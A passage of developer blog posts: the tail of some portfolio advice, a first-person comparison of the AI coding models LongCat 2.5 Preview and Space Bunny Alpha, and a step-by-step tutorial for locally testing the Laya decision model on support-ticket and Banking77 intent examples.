I rarely see any portfolio that is simply built. Usually the ones that are simple tends to stand out because it shows a lot of information really quickly.

This is huge because recruiters tends to review portfolios and resumes in seconds. They will not have time to look over your awesome UI and animation you have Vibe Coded. The UI should be the icing on the cake, not the whole cake. The most important parts is your work and experience.

Then why design your portfolio? It makes it much easier for people to navigate your work and experience than reading your resume line-by-line of course lol. The point is not spending time making the UI look nice, but spending more time on making sure they are able to access your work and experience within a small amount of clicks.

4. Networking (AKA show your portfolio)

This is the biggest thing. SHOW YOUR PORTFOLIO.

_{Don't know what your talking about lol}

What's the point of making a portfolio if no one is going to see it. You can share it to your family, friends, your LinkedIn connections, and even on DEV!

With that said, here is my portfolio. Give it a review and let me know what you think!

Francis Tran

Francis Tran is a Senior Full-Stack Developer and a Community Curator at DEV!

francistrdev.github.io

Speaking of, if you have a portfolio that has been sitting around, feel free to share your portfolio in the comments. I would love to see your portfolio and review them!

That is all! Cya :D

LongCat 2.5 Preview vs Space Bunny Alpha: My Experience Building Real Projects

Prakhar Yadav — Mon, 28 Sep 2026 10:12:26 GMT

Over the past few days, I've been comparing LongCat 2.5 Preview and Space Bunny Alpha across actual software projects rather than isolated benchmark prompts.

The projects included:

A minimal website with navigation
An enterprise ServiceNow demo instance connected to an internal MCP server used by thousands of engineers and non-engineers
A Chrome extension with complex wiring involving its own backend and UI while also integrating with existing UI components
Homebrew installer development
General automation and scripting tasks

After using both extensively, I found LongCat 2.5 Preview consistently outperforming Space Bunny Alpha in areas that matter during day-to-day development.

1. Context Understanding

The biggest difference was context retention and understanding.

LongCat generally understood project goals, architecture, and previous discussions much faster. It required less repetition and fewer corrective prompts.

Space Bunny often needed additional iterations before it reached the same understanding, which translated into higher token usage and slower progress.

2. Tool Usage and Orchestration

Modern development workflows increasingly rely on tools.

In my experience, LongCat was significantly better at tool calling and coordinating workflows involving multiple tools.

Space Bunny struggled more frequently when several tools were available, occasionally choosing the wrong path or becoming confused about which tool should be used next.

3. Next-Step Recommendations

A surprisingly important capability is recommending what should happen next.

LongCat regularly suggested logical follow-up actions, implementation steps, validation strategies, and improvements without requiring additional prompting.

Space Bunny's suggestions were often generic and required more guidance from me.

4. Architecture Feedback

When discussing system design and architecture, LongCat provided stronger and more actionable recommendations.

It identified improvement opportunities, implementation concerns, and alternative approaches more consistently.

Space Bunny was capable of providing architectural feedback, but the recommendations generally felt less comprehensive.

5. Design Understanding

LongCat also demonstrated a stronger understanding of design intent.

Whether discussing UI flows, product behavior, or implementation trade-offs, it often required fewer prompts to arrive at the desired outcome.

With Space Bunny, I found myself spending more time clarifying requirements and refining prompts.

6. Understanding Intent

One of the less obvious but highly valuable differences was intent recognition.

LongCat frequently inferred the objective behind my request even when instructions were incomplete.

Space Bunny performed adequately, but it required more explicit direction before reaching the same understanding.

7. Handling Roadblocks

Development rarely goes exactly as planned.

When encountering blockers, LongCat was better at proposing workarounds, alternative implementations, and recovery paths.

Space Bunny was more likely to get stuck, make abrupt decisions, or defer the next step back to the user.

Summary

Here's the simplest way I'd describe the experience:

Area	LongCat 2.5 Preview	Space Bunny Alpha
Context Understanding	Excellent	Slower to converge
Tool Calling	Strong	Can struggle with multiple tools
Next-Step Suggestions	Highly actionable	Often generic
Architecture Guidance	Strong	Moderate
Design Understanding	Strong	Requires more prompting
Intent Recognition	Strong	Average
Handling Blockers	Finds workarounds	More likely to get stuck

Final Thoughts

For my specific workflows, LongCat 2.5 Preview felt noticeably more intelligent than Space Bunny Alpha, even when Space Bunny was configured with High Thinking mode enabled.

This isn't a benchmark-driven conclusion. It's based on practical use across real projects involving web development, enterprise systems, browser extensions, automation, and tooling.

Your mileage may vary depending on your workflow, but for development-heavy tasks, LongCat was the clear winner in my testing.

Not Another LLM: I Tried Laya, a 421M-Parameter AI Decision Engine

Ayush kumar — Fri, 25 Sep 2026 11:42:47 GMT

What happened when I tried a model that doesn't generate text at all

I spend a lot of time trying different AI models, especially models that can run locally. Usually, the process is pretty familiar: download the model, give it a prompt, and wait for it to generate something.

Laya caught my attention because it doesn't work that way.

It isn't built to write an answer, generate code, or have a conversation. Instead, you give it some text or a piece of information and ask it specific questions. It then returns a decision and a probability for that decision.

That sounded simple, but also quite different from the models I normally experiment with.

So I decided to install Laya on my Mac mini M4 with 16GB memory and see how it actually performs. I wanted to start from the basics, run it locally, try a few real examples, and understand where a small decision-focused model makes sense compared with using a much larger language model for everything.

This post is my hands-on experience with that process, from installation and the first prediction to multilingual input, model routing, and some of the limitations I found along the way.

TL;DR:

Laya is a 322M–421M parameter decision model that works very differently from a traditional LLM. It doesn't generate text; it takes an input, answers typed questions, and returns structured decisions with probabilities. I installed it on my M4 Mac mini, tested English, Hindi, multiple decisions, longer inputs, and larger choice sets, and also built a simple Gradio interface. The interesting part is that Laya could work as a lightweight decision layer alongside a larger LLM rather than replacing one.

So, What Exactly Is Laya?

Before installing it, it helps to understand what makes Laya different from the models I usually run locally.

Most language models are built around generating text. You send them a prompt, they process it one token at a time, and eventually you get a response. That makes sense for chat, coding, writing, summarization, and many other tasks.

Laya takes a different approach.

It is a non-autoregressive decision model. Instead of generating a response, it looks at the information you provide and answers a set of questions about it. It returns the answers in a structured format, along with probabilities.

For example, imagine I receive this support message:

Hi, we were charged twice for March.
Please refund the duplicate payment today.

With a normal LLM, I might ask:

Which department should handle this request?

and get a natural-language response such as:

This looks like a billing issue, so it should be handled
by the billing department.

With Laya, I can define the possible decisions beforehand:

{
    "billing": "invoices, payments, refunds",
    "technical": "bugs, outages, system errors",
    "other": "everything else"
}

Laya can then return the selected option and its probability rather than generating an explanation.

That's the part I found interesting.

There is no long response to parse, no generated paragraph sitting between the model and my application, and no need to ask the model to format its answer as JSON after the fact.

It's a small model too

Laya currently comes with three checkpoints.

The main English model has 421 million parameters, while the multilingual checkpoint has 322 million parameters. There is also a 421M-parameter checkpoint fine-tuned for typed decision tasks.

For comparison, the local language models I normally experiment with are measured in billions of parameters. Laya is operating on a completely different scale.

But the parameter count isn't really the main story here.

The important thing is that Laya is designed for a much narrower job.

It isn't trying to write an email for me or build an application from a prompt. It is trying to answer questions such as:

Which category is this?

How urgent is this?

Does the user want a refund?

Should this request be routed to another system?

That makes it feel less like a chatbot and more like a decision layer that can sit inside a larger application.

And that was enough to make me want to try it locally.

Installing Laya on My Mac Mini

Once I understood what Laya was actually built for, the next step was simply getting it running.

I wanted to keep the setup clean, so I used a separate Python virtual environment instead of installing everything directly into my system Python.

My Mac mini has an M4 chip with 16GB of unified memory, so I wasn't expecting the model to be particularly demanding. The main Laya checkpoint is also only a few hundred million parameters, which makes it much smaller than the local language models I usually work with.

Step 1: Create a virtual environment

I started by creating a new folder for the experiment:

mkdir laya-test
cd laya-test

Then I created a virtual environment:

python3 -m venv .venv
source .venv/bin/activate

Once the environment was active, my terminal showed (.venv) at the beginning of the command line.

Step 2: Install Laya

The installation itself is surprisingly simple:

python -m pip install laya

That's it.

There was no separate model download command at this stage. The package installs first, and the actual checkpoint is downloaded the first time I use it.

Step 3: Check the installation

Before loading a model, I wanted to make sure the package was installed correctly:

python -c "import laya; print(laya.__version__)"

This is a useful little check because it confirms that Python can find the package and tells me which version I'm actually running.

A small thing worth knowing

Laya doesn't download every checkpoint immediately.

The project has three checkpoints, but the one I request is what gets loaded. This is useful on a machine like mine because I don't need to spend storage space downloading models that I haven't decided to use yet.

The English checkpoint is around 843 MB, while the multilingual checkpoint is around 647 MB. That's tiny compared with many of the local models I've worked with.

So even with limited free space on my internal drive, Laya itself wasn't going to be the problem.

Now for the interesting part

The package was installed, the environment was ready, and there was only one thing left to do:

Actually make Laya take a decision.

Step 4: Create the Python File

Now that Laya is installed, I wanted to run a small example and see how it handles a real decision.

Inside the laya-test folder, I created a Python file:

touch test_laya.py

Then I opened the file and added the following code:

nano test_laya.py

I added this code:

from laya import Router

router = Router()

state = """
Hi, we were billed twice for March.
Please refund the duplicate payment today.
"""

questions = {
    "department": {
        "type": "choice",
        "instructions": "Which department should handle this?",
        "criteria": {
            "billing": "invoices, payments, refunds",
            "technical": "bugs, outages, system errors",
            "other": "everything else"
        }
    }
}

result = router.predict(state, questions)

print(result)

After adding the code, I saved the file and closed the editor.

The example is intentionally simple. I give Laya a short customer-support message and define three possible departments. Laya then has to decide which department is the right one.

Step 5: Run Laya

With the file ready, I ran it from the same terminal:

python test_laya.py

On the first run, Laya downloaded the required model checkpoint from Hugging Face. In my case, the download was around 846 MB.

After the model finished loading, Laya processed the message and returned a structured result.

The important part of my output was:

department → billing

It also returned probabilities for all three choices, rather than generating a normal text response.

This was my first successful Laya inference running locally on my M4 Mac mini.

Step 6: Understanding the Result

The first test was successful, but the output from Laya contains more information than just the final category.

My terminal returned a result similar to this:

'answers': {
    'department': {
        'type': 'choice',
        'choice': 'billing',
        'probabilities': {
            'billing': 0.9875,
            'technical': 0.0063,
            'other': 0.0062
        },
        'confidence': 0.9309,
        'answer_confidence': 0.9875
    }
}

The first thing to look at is:

choice: billing

That's the actual decision Laya made.

Then there are the probabilities:

billing   → 0.9875
technical → 0.0063
other     → 0.0062

So, for this particular input, the model strongly preferred the billing category.

Another interesting part of the result is:

output_tokens: 0

This is one of the easiest ways to see how Laya differs from a traditional text-generating model. It didn't generate a sentence explaining its answer. It evaluated the input and returned the structured result.

The response also included routing information:

model: english
reason: English Latin text

This means the built-in Router detected my input as English and selected the English checkpoint automatically.

One thing I noticed during this test was a warning about calibration. The runtime reported that one temperature value was outside its allowed range and was adjusted. Because of that, I won't treat the displayed probability as a guaranteed measure of real-world accuracy. It is better to validate and calibrate these probabilities on the data you're actually using.

For a first local test, though, the important part was clear: Laya was installed, the model loaded successfully, and it made a structured decision on my Mac mini.

Step 7: Asking Laya Multiple Questions

After the first test worked, I wanted to see what would happen if I asked Laya more than one question about the same message.

The nice thing here is that I don't have to send the same text to the model again and again. I can define several questions and pass them together.

I kept the same customer-support example and added two more decisions: urgency and churn risk.

I updated test_laya.py with this:

from laya import Router

router = Router()

state = """
Hi, we were billed twice for March.
Please refund the duplicate payment today
or we will cancel our plan.
"""

questions = {
    "department": {
        "type": "choice",
        "instructions": "Which department should handle this?",
        "criteria": {
            "billing": "invoices, payments, refunds",
            "technical": "bugs, outages, system errors",
            "other": "everything else"
        }
    },

    "urgency": {
        "type": "score",
        "instructions": "How urgent is this?",
        "criteria": [
            "not urgent",
            "soon",
            "critical"
        ]
    },

    "churn_risk": {
        "type": "noul",
        "instructions": "Does the user threaten to cancel or leave?"
    }
}

result = router.predict(state, questions)

print(result)

The input now contains three things at once:

Department
Urgency
Churn risk

So instead of asking Laya:

Which department should handle this?

I'm also asking:

How urgent is this?

and:

Is the customer threatening to leave?

Running the updated test

I saved the file and ran it again:

python test_laya.py

This time, the result included answers for all three questions.

The result

This time, Laya returned all three decisions from the same input.

For the department, it selected:

billing

with:

billing   → 0.9801
technical → 0.0113
other     → 0.0086

The model's reported confidence was 0.8989.

For urgency, the result was:

score: 1.2514

The three possible levels had these probabilities:

not urgent → 0.1502
soon       → 0.4482
critical   → 0.4016

So the model leaned toward “soon”, although the probabilities were much closer here than they were for the department decision.

Finally, for churn risk, Laya returned:

0.8553

So in this particular test, it assigned an 85.53% probability to the user threatening to cancel or leave.

One detail that stood out was:

input_tokens: 179
output_tokens: 0

Even though I asked three different questions, there was still no generated text output.

That's probably the simplest way to explain what makes Laya interesting. I'm giving it one piece of information and several decisions to make, and it returns those decisions in a structured format.

The Router also reported:

model: english
reason: English Latin text

So the English checkpoint was selected automatically.

One thing I noticed

The runtime again showed the warning about an invalid temperature value and said the affected confidence should be treated as uncalibrated. So while these probabilities are useful for seeing what the model is doing, I wouldn't present them as a measure of actual accuracy.

For me, the more interesting result was the shape of the output: one input, three decisions, and zero generated tokens.

Step 8: Testing Laya with Hindi

After testing the English example, I wanted to see what happens when I give Laya a message in another language.

I used a simple Hindi sentence:

मुझसे दो बार शुल्क लिया गया, कृपया पैसे वापस करें।

The meaning is roughly:

I was charged twice; please refund the money.

This is where the Router becomes useful. I don't have to manually decide which checkpoint to load. Laya can inspect the input and choose the appropriate model.

I updated my test_laya.py file and replaced the English state with the Hindi example:

from laya import Router

router = Router()

state = """
मुझसे दो बार शुल्क लिया गया,
कृपया पैसे वापस करें।
"""

questions = {
    "department": {
        "type": "choice",
        "instructions": "Which department should handle this?",
        "criteria": {
            "billing": "invoices, payments, refunds",
            "technical": "bugs, outages, system errors",
            "other": "everything else"
        }
    }
}

result = router.predict(state, questions)

print(result)

I kept the same billing question and ran the file again:

python test_laya.py

This time, Laya had to download its multilingual checkpoint. The download was around 653 MB, and the reconstructed checkpoint was about 678 MB.

The prediction itself was:

department → billing

with these probabilities:

billing   → 0.9923
technical → 0.0026
other     → 0.0051

The reported confidence was 0.9544.

But the part I was really interested in was the routing information.

Laya returned:

model: multilingual

and gave the reason:

non-Latin script (devanagari, 100% of letters);
the English checkpoint cannot read it

So the Router recognized the script as Devanagari and automatically sent the request to the multilingual checkpoint.

The routing metadata also showed:

script: devanagari
language: None
is_english: False

That last part is interesting. Laya didn't need to identify the exact language as Hindi first. The script itself was enough for the Router to decide that the English checkpoint shouldn't be used.

The complete flow looked like this:

Hindi text
    ↓
Router
    ↓
Devanagari detected
    ↓
Multilingual checkpoint
    ↓
Billing decision

And once again, the model reported:

input_tokens: 55
output_tokens: 0

So even with the multilingual model, there was still no text generation involved.

One small observation

The multilingual checkpoint was a little smaller on disk than the English one in my tests:

English checkpoint → ~846 MB
Multilingual checkpoint → ~678 MB reconstructed

That made this test even more interesting for my setup, because both checkpoints are small enough to work comfortably on my Mac mini.

Step 9: Looking at How Laya Routes the Input

The Hindi test gave me the prediction I expected, but I was more curious about what happened before the prediction.

Laya's Router doesn't just return the final answer. It also gives back information about the checkpoint it selected and why it selected it.

I already had this in my result:

result = router.predict(state, questions)

So I added a couple of simple print statements to see the routing details more clearly:

print("Selected model:", result["routing"]["model"])
print("Reason:", result["routing"]["reason"])
print("Detection:", result["routing"]["detection"])

For my Hindi test, the output showed:

Selected model: multilingual

Reason:
non-Latin script (devanagari, 100% of letters);
the English checkpoint cannot read it

And the detection information looked like:

script: devanagari
language: None
is_english: False

That was useful because it showed me that the Router didn't need to first figure out that the sentence was specifically Hindi. It could see that the text was written in Devanagari, which was enough to avoid sending it to the English checkpoint.

I can also check the route separately

Another thing I found useful is that routing can be inspected without actually running the model.

For example:

route = router.route(state, questions)

print("Model:", route.model)
print("Reason:", route.reason)

This gives me the routing decision before inference happens.

That means the overall flow is roughly:

Input
  ↓
Router
  ↓
Detect script / language
  ↓
Select checkpoint
  ↓
Run inference
  ↓
Return decision

I like this separation because it makes the behavior easier to understand when you're building a real application. The routing step isn't hidden inside some giant prompt. You can actually see which checkpoint was selected and the reason for it.

English and Hindi side by side

After running both tests, I had a simple comparison:

English
  ↓
English / Laya checkpoint

Hindi
  ↓
Devanagari detected
  ↓
Multilingual checkpoint

So far, the whole thing had been surprisingly lightweight.

I had one model around 846 MB, another around 678 MB in my local test, and both were running directly on my Mac mini without needing a remote API.

Step 10: Building a More Realistic Laya Test

The first few tests were intentionally simple. I wanted to make sure the installation worked, understand the output, and see how the Router handled different languages.

Now I wanted to make the example a little closer to something I might actually use in an application.

Instead of asking Laya only for the department, I decided to extract several useful decisions from the same support message.

I used this example:

Hi, we were billed twice for March.
Please refund the duplicate payment today
or we will cancel our plan.

From that single message, I wanted Laya to determine:

Which department should handle it?
How urgent is it?
Has the customer requested a refund?
Is there a possible churn risk?

I updated test_laya.py with:

from laya import Router

router = Router()

state = """
Hi, we were billed twice for March.
Please refund the duplicate payment today
or we will cancel our plan.
"""

questions = {
    "department": {
        "type": "choice",
        "instructions": "Which department should handle this?",
        "criteria": {
            "billing": "invoices, payments, refunds",
            "technical": "bugs, outages, system errors",
            "other": "everything else"
        }
    },

    "urgency": {
        "type": "score",
        "instructions": "How urgent is this?",
        "criteria": [
            "not urgent",
            "soon",
            "critical"
        ]
    },

    "refund_requested": {
        "type": "noul",
        "instructions": "Does the user explicitly request a refund?"
    },

    "churn_risk": {
        "type": "noul",
        "instructions": "Does the user threaten to cancel or leave?"
    }
}

result = router.predict(state, questions)

print(result)

I updated my test_laya.py file with the four questions and ran:

python test_laya.py

The result was interesting.

Department

Laya selected:

billing

The probabilities were:

billing   → 0.9801
technical → 0.0113
other     → 0.0086

So the model clearly associated the message with a billing issue.

Urgency

For urgency, I defined three levels:

0 → not urgent
1 → soon
2 → critical

Laya returned:

score: 1.2514

with:

not urgent → 0.1502
soon       → 0.4482
critical   → 0.4016

The model leaned toward “soon”, although the probabilities were much closer together than they were for the department decision.

The reported confidence here was also quite low at 0.0799, which is a good reminder not to treat every model output as equally certain.

Refund requested

For the refund question, Laya returned:

0.8822

So it assigned an 88.22% probability to the user explicitly requesting a refund.

Churn risk

The final question was whether the customer was threatening to leave.

Laya returned:

0.8553

That corresponds to an 85.53% probability for that decision.

One input, four decisions

The overall result can be summarized like this:

                    Customer message
                           ↓
                         Laya
                           ↓
        ┌──────────┬──────────┬───────────┬──────────┐
        ↓          ↓          ↓           ↓
     Billing     Urgency    Refund      Churn
      98.01%      1.25      88.22%      85.53%

There was another detail I found useful in the output:

input_tokens: 239
output_tokens: 0

Even with four separate decisions, Laya still generated zero output tokens.

That is probably the clearest practical difference I've seen so far between Laya and a conventional text-generating model. I give it a piece of text, define the decisions I care about, and it returns structured results instead of generating a response.

The Router also continued to select the English checkpoint automatically:

model: english
reason: English Latin text

At this point, Laya was starting to look less like a small chatbot and more like a component I could put inside a larger application.

There is still one limitation worth keeping in mind. The runtime again warned about an out-of-range temperature value and said the affected confidence values should be treated as uncalibrated. So these numbers are useful for understanding this particular prediction, but I wouldn't use them as evidence that the model is 98% or 85% accurate in general.

For a local experiment, though, this was a useful result: one input, four decisions, and no generated text.

Step 11: Testing Laya with a Longer Input

So far, most of my tests used short messages. That's useful for understanding the basics, but real applications rarely receive just two or three lines of text.

A support ticket can contain the original complaint, previous replies, order details, and a few extra paragraphs. So my next test was to give Laya a longer piece of text and see how it handles it.

For this test, I kept the same questions but replaced the short message with a more detailed customer request.

I updated test_laya.py like this:

from laya import Router

router = Router()

state = """
Hi support team,

I am contacting you because I noticed that my March subscription
payment was charged twice on my account. I checked my bank statement
and can see two separate charges for the same amount on the same day.

I have already checked my account dashboard, but I can only see one
invoice there. I would like the duplicate payment to be refunded as
soon as possible.

This has been quite frustrating because I need the money back before
the end of the week. If this issue cannot be resolved soon, I may have
to cancel my subscription and move to another service.

Please check the payment history, confirm what happened, and let me
know when the duplicate amount will be returned.
"""

questions = {
    "department": {
        "type": "choice",
        "instructions": "Which department should handle this?",
        "criteria": {
            "billing": "invoices, payments, refunds",
            "technical": "bugs, outages, system errors",
            "other": "everything else"
        }
    },

    "urgency": {
        "type": "score",
        "instructions": "How urgent is this?",
        "criteria": [
            "not urgent",
            "soon",
            "critical"
        ]
    },

    "refund_requested": {
        "type": "noul",
        "instructions": "Does the user explicitly request a refund?"
    },

    "churn_risk": {
        "type": "noul",
        "instructions": "Does the user threaten to cancel or leave?"
    }
}

result = router.predict(state, questions)

print(result)

Then I ran the same file again:

python test_laya.py

This time, the model processed 751 input tokens and still returned:

output_tokens: 0

That part stayed the same. Even with a much longer input, Laya wasn't generating a written response.

The department result was:

billing → 0.9115
technical → 0.0524
other → 0.0361

So Laya still identified the request as a billing issue, although the probability was lower than in my shorter test.

For urgency, it returned:

not urgent → 0.2238
soon       → 0.7585
critical   → 0.0177

The resulting score was:

0.7939

So this time the model clearly leaned toward “soon.”

The refund question returned:

0.8231

which means the model assigned an 82.31% probability to the user explicitly requesting a refund.

Then I got one result that I found quite interesting.

The churn-risk question returned:

0.1494

So the model assigned only 14.94% probability to the user threatening to cancel, even though the text explicitly included:

“If this issue cannot be resolved soon, I may have to cancel my subscription.”

This was a useful reminder that I shouldn't assume the model will interpret every question exactly the way I expect.

The Laya documentation also points out that its noul decision can sometimes be affected by the labels used for the two possible outcomes. So this result is something I would want to investigate rather than simply accepting it as a correct or incorrect verdict.

The longer input changed the results

Comparing this with my earlier short test was also interesting.

The shorter version gave me:

billing → 98.01%

while the longer version gave:

billing → 91.15%

The model still selected the same category, but the probability changed once more context was added.

That's actually something I wanted to see. A longer input isn't automatically going to produce the same confidence as a short one, even when the underlying topic hasn't changed.

For this particular test, the 751-token input was still handled without any problem by the English checkpoint.

At this point, I had tested short inputs, multiple questions, different languages, and a longer support ticket.

Step 12: What Happens When There Are More Choices?

So far, I had been giving Laya only a few possible answers.

That works nicely for a simple example like:

billing
technical
other

But real classification systems can have many more categories. A support system, for example, might have separate labels for refunds, card problems, failed transfers, account access, delivery issues, verification, and many other cases.

So I wanted to see how Laya behaves when the number of choices starts increasing.

Instead of changing the whole project, I kept the same setup and created a larger choice question.

I used this:

from laya import Router

router = Router()

state = """
I tried to transfer money to my bank account this morning.
The transfer failed, but I can see the amount has already
been deducted from my account. I want to know when the money
will be returned.
"""

questions = {
    "intent": {
        "type": "choice",
        "instructions": "What is the main reason for this support request?",
        "criteria": {
            "card_payment": "problem with a card payment",
            "cash_withdrawal": "problem withdrawing cash",
            "bank_transfer": "problem with a bank transfer",
            "refund": "asking for a refund",
            "account_access": "cannot access the account",
            "verification": "identity or account verification problem",
            "subscription": "subscription or recurring payment problem",
            "fees": "question about fees or charges",
            "exchange_rate": "question about currency exchange rates",
            "card_delivery": "problem with card delivery",
            "cash_deposit": "problem depositing cash",
            "other": "something not covered by the other categories"
        }
    }
}

result = router.predict(state, questions)

print(result)

The input was:

I tried to transfer money to my bank account this morning.
The transfer failed, but I can see the amount has already
been deducted from my account. I want to know when the money
will be returned.

I then asked Laya to choose the main reason for the request from these categories:

card_payment
cash_withdrawal
bank_transfer
refund
account_access
verification
subscription
fees
exchange_rate
card_delivery
cash_deposit
other

I ran the same command as before:

python test_laya.py

The result

Laya selected:

bank_transfer

The result was extremely strong:

bank_transfer → 1.0

The other 11 categories were returned as 0.0 in this particular run.

The reported confidence was:

confidence: 0.9998
answer_confidence: 1.0

It also processed:

input_tokens: 174
output_tokens: 0

So once again, there was no generated text.

What I found interesting

I expected adding more options to make the decision noticeably harder, but with 12 choices, Laya still identified the correct category very clearly.

That said, there is an important detail here.

The runtime again showed the warning about an invalid temperature value and said that the affected confidence values were uncalibrated. Because of that, I wouldn't interpret the 1.0 probability as meaning that the model is literally certain or that it will be correct 100% of the time.

What I can say from my test is much simpler:

With this particular 12-option example, Laya selected bank_transfer and assigned virtually all of the probability mass to that category.

Where things get more interesting

This test also showed me why the number of choices matters.

Laya has a fixed budget for representing the options in a question. With 12 categories, there is still enough room for the descriptions to remain distinct.

But what happens when the number jumps from 12 choices to dozens of choices?

The project's own benchmarks show that high-cardinality questions can become a problem. The documentation specifically discusses a 77-option Banking77 test, where the available option budget becomes much tighter.

So my next experiment is going to push this much further.

Step 13: Testing Laya with 77 Choices

After my 12-choice test worked, I wanted to push the model much further.

The Laya documentation talks about an important limitation with high-cardinality choice questions. When a question has a large number of options, the model has to fit all of those option descriptions into a fixed part of its input budget. With 50 or more choices, this can make the options harder to distinguish. The project's benchmark specifically uses Banking77, a dataset with 77 banking intents, to demonstrate this limitation.

So I decided to recreate a similar test locally.

Setting up the 77 choices

I used the 77 Banking77 intent names as the choices. Banking77 is a fine-grained banking intent dataset containing 77 categories, including things such as card_arrival, failed_transfer, request_refund, transaction_charged_twice, and verify_my_identity.

For the experiment, I used a straightforward banking query:

I tried to make a bank transfer this morning.
The transfer failed, but the money has already
been deducted from my account.

I then created a choice question containing all 77 categories.

The code looks like this:

from laya import Router

router = Router()

state = """
I tried to make a bank transfer this morning.
The transfer failed, but the money has already
been deducted from my account.
"""

intents = {
    "activate_my_card": "activating a card",
    "age_limit": "age requirements",
    "apple_pay_or_google_pay": "using Apple Pay or Google Pay",
    "atm_support": "ATM support",
    "automatic_top_up": "automatic top up",
    "balance_not_updated_after_bank_transfer": "balance not updated after bank transfer",
    "balance_not_updated_after_cheque_or_cash_deposit": "balance not updated after cheque or cash deposit",
    "beneficiary_not_allowed": "beneficiary is not allowed",
    "cancel_transfer": "cancelling a transfer",
    "card_about_to_expire": "card is about to expire",
    "card_acceptance": "where a card is accepted",
    "card_arrival": "card arrival",
    "card_delivery_estimate": "estimated card delivery time",
    "card_linking": "linking a card",
    "card_not_working": "card not working",
    "card_payment_fee_charged": "fee charged for a card payment",
    "card_payment_not_recognised": "unrecognised card payment",
    "card_payment_wrong_exchange_rate": "wrong exchange rate for card payment",
    "card_swallowed": "card retained by an ATM",
    "cash_withdrawal_charge": "cash withdrawal charge",
    "cash_withdrawal_not_recognised": "unrecognised cash withdrawal",
    "change_pin": "changing PIN",
    "compromised_card": "compromised card",
    "contactless_not_working": "contactless not working",
    "country_support": "supported countries",
    "declined_card_payment": "declined card payment",
    "declined_cash_withdrawal": "declined cash withdrawal",
    "declined_transfer": "declined transfer",
    "direct_debit_payment_not_recognised": "unrecognised direct debit",
    "disposable_card_limits": "disposable card limits",
    "edit_personal_details": "editing personal details",
    "exchange_charge": "currency exchange charge",
    "exchange_rate": "exchange rate",
    "exchange_via_app": "exchanging currency through the app",
    "extra_charge_on_statement": "extra charge on statement",
    "failed_transfer": "failed bank transfer",
    "fiat_currency_support": "supported fiat currencies",
    "get_disposable_virtual_card": "getting a disposable virtual card",
    "get_physical_card": "getting a physical card",
    "getting_spare_card": "getting a spare card",
    "getting_virtual_card": "getting a virtual card",
    "lost_or_stolen_card": "lost or stolen card",
    "lost_or_stolen_phone": "lost or stolen phone",
    "order_physical_card": "ordering a physical card",
    "passcode_forgotten": "forgotten passcode",
    "pending_card_payment": "pending card payment",
    "pending_cash_withdrawal": "pending cash withdrawal",
    "pending_top_up": "pending top up",
    "pending_transfer": "pending transfer",
    "pin_blocked": "blocked PIN",
    "receiving_money": "receiving money",
    "refund_not_showing_up": "refund not showing up",
    "request_refund": "requesting a refund",
    "reverted_card_payment": "reverted card payment",
    "supported_cards_and_currencies": "supported cards and currencies",
    "terminate_account": "closing the account",
    "top_up_by_bank_transfer_charge": "charge for topping up by bank transfer",
    "top_up_by_card_charge": "charge for topping up by card",
    "top_up_by_cash_or_cheque": "topping up by cash or cheque",
    "top_up_failed": "failed top up",
    "top_up_limits": "top up limits",
    "top_up_reverted": "reverted top up",
    "topping_up_by_card": "topping up by card",
    "transaction_charged_twice": "transaction charged twice",
    "transfer_fee_charged": "fee charged for a transfer",
    "transfer_into_account": "transferring money into the account",
    "transfer_not_received_by_recipient": "recipient did not receive the transfer",
    "transfer_timing": "transfer timing",
    "unable_to_verify_identity": "unable to verify identity",
    "verify_my_identity": "identity verification",
    "verify_source_of_funds": "verifying source of funds",
    "verify_top_up": "top up verification",
    "virtual_card_not_working": "virtual card not working",
    "visa_or_mastercard": "Visa or Mastercard",
    "why_verify_identity": "why identity verification is required",
    "wrong_amount_of_cash_received": "wrong amount of cash received",
    "wrong_exchange_rate_for_cash_withdrawal": "wrong exchange rate for cash withdrawal"
}

questions = {
    "intent": {
        "type": "choice",
        "instructions": "What is the main reason for this banking request?",
        "criteria": intents
    }
}

result = router.predict(state, questions)

print(result)

Why this test matters

This is very different from my earlier 12-choice experiment.

With 77 options, the model has to distinguish between many closely related banking intents. For example:

failed_transfer
declined_transfer
pending_transfer
transfer_not_received_by_recipient
cancel_transfer
transfer_timing

These categories are much closer to each other than something obvious like card_arrival versus exchange_rate.

The Laya documentation says this is where its default option budget becomes a real constraint. In the documented Banking77 comparison, Laya's 77-choice result was substantially lower than its performance on smaller choice sets, and the authors explain that the option descriptions can become too compressed within the fixed head budget.

I ran the same command as before:

python test_laya.py

The result surprised me

Laya selected:

failed_transfer

That was the category I would expect from this particular message.

The probabilities were:

failed_transfer   → 0.9753
declined_transfer → 0.0056
unable_to_verify_identity → 0.0191

Most of the remaining categories were returned as 0.0 in this particular run.

The reported values were:

confidence: 0.9703
answer_confidence: 0.9753

The input contained 350 tokens, while the output was again:

output_tokens: 0

So even with 77 possible choices, Laya still didn't generate any text.

What this test showed me

I expected the larger choice set to make the result obviously worse, but that didn't happen with this particular example.

Laya still selected the correct-looking category and put most of the probability on it.

However, this doesn't mean that Laya solves 77-choice classification reliably in general.

The reason is that this was one manually constructed test. The official project benchmarks report a much more difficult Banking77 evaluation where the model's performance drops substantially with a large number of options. The project explains that the option descriptions have to share a limited token budget, which becomes increasingly restrictive as the number of choices grows.

So my local experiment gave me one useful result:

77 choices did not break the model on this example.
But it is not enough to claim that Laya performs well across a full 77-class benchmark.

That's an important distinction, especially when writing about model experiments.

Another thing I noticed

The runtime continued to display the same temperature warning:

this checkpoint ships invalid temperatures...
Treat confidence from the affected entries as uncalibrated.

So again, I'm treating the probabilities as the output of this particular run, not as a guarantee of real-world accuracy.

At this point, I had a much better idea of how Laya behaves with different input sizes and different numbers of choices.

Step 14: Running Laya in Preload Mode

Up to this point, I had been using the default Router:

router = Router()

With that setup, Laya loads a checkpoint when it is needed. That works well when you're experimenting because you don't have to load every model into memory at startup.

For the next test, I wanted to try a different approach.

Laya also supports preloading, which means the checkpoints are loaded when the Router starts.

I changed my code to:

from laya import Router

router = Router(preload=True)

state = """
I tried to make a bank transfer this morning.
The transfer failed, but the money has already
been deducted from my account.
"""

questions = {
    "intent": {
        "type": "choice",
        "instructions": "What is the main reason for this banking request?",
        "criteria": {
            "card_payment": "problem with a card payment",
            "cash_withdrawal": "problem withdrawing cash",
            "bank_transfer": "problem with a bank transfer",
            "refund": "asking for a refund",
            "account_access": "cannot access the account",
            "verification": "identity or account verification problem",
            "subscription": "subscription or recurring payment problem",
            "fees": "question about fees or charges",
            "exchange_rate": "question about currency exchange rates",
            "card_delivery": "problem with card delivery",
            "cash_deposit": "problem depositing cash",
            "other": "something not covered by the other categories"
        }
    }
}

